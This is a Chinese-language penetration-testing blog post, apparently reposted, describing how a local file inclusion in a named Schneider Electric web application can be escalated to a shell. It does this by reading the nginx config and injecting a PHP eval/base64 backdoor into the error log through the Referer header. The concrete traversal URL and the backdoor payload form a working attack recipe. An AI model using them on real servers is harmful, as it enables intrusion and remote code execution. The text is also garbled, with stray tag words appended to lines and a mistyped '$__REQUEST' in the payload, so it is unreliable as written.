利用nginx日誌結合本地包含漏洞GetShell

0前言

在WEB滲透測試中尤爲是PHP,常常會挖到LFI漏洞,想要GETSHELL,但無奈沒有文件上傳的途徑,這裏給一個思路,拋磚引玉。php

近日施耐德電氣爆出的漏洞,首先獲得了一個本地包含,在這裏做爲靶目標使用。
本地包含css

1.本地得到利用思路

umotion/themes/schneider/include/css.php?css=../../../../../../../etc/nginx&theme=ivory&version=11028

1.1 獲得nginx配置

經過文件包含,枚舉獲得nginx的配置文件。html

/etc/nginx/nginx.conf

配置文件
配置文件中得到了nginx錯誤日誌的路徑,且關閉了訪問日誌。nginx

error_log  /var/log/nginx_error.log;
access_log    off;

1.2 利用思路整理

那麼咱們能夠利用錯誤日誌來構造合法的php代碼,從而利用包含漏洞。web

下面能夠很直觀想到的幾個問題:shell

  1. 什麼時候纔會向nginx錯誤日誌寫入錯誤內容。apache

  2. 如何控制咱們寫入的內容。瀏覽器

  3. 若是遇到轉義寫入如何繞過。架構

目前知道的狀況:curl

  1. 目標系統爲nginx + FastCGI + php架構。

2.瞭解什麼時候會向nginx錯誤日誌寫入內容。

經過觀察日誌能夠很容易發現,若是請求爲404/403等異常錯誤碼,或者FastCGI返回出錯信息,均會記錄到nginx錯誤日誌中,
錯誤信息

2017/06/15 17:27:37 [error] 23229#0: *29454 open() "/web/html/favicon.ico" failed (2: No such file or directory), client:

3.控制咱們寫入的內容

能夠很容易發現,咱們的請求PATH會被寫入到錯誤日誌中(請求路徑不存在)。且攜帶咱們的IP信息,以及HTTP頭部的referrer。那麼咱們就能夠利用這兩點來構造。

4.繞過轉義

這時候寫入

<?php eval(base64_decode($__REQUEST[fob]));?>

咱們構造

host/xx/?<?php eval(base64_decode($__REQUEST[fob]));?>

若是經過webkit內核瀏覽器訪問,webkit會自動轉移,直接經過curl發送。
這裏使用referrer來注入代碼到錯誤日誌中。還好nginx端沒有進行任何轉義,若是遇到轉義則須要見機行事,構造可用payload。

注入代碼

最後成功寫入向錯誤日誌中注入php代碼。

5.總結

其實沒什麼技術含量,只是常常會遇到這種狀況,包括各類日誌,apache,nginx等。這裏只提供一個思路。設置站點權限的時候,這些點能夠關注下,包括讀取日誌獲得敏感信息(後臺,管理員信息等)。
本文永久地址[利用nginx日誌結合本地包含漏洞GetShell],轉載請註明出處。

相關文章
相關標籤/搜索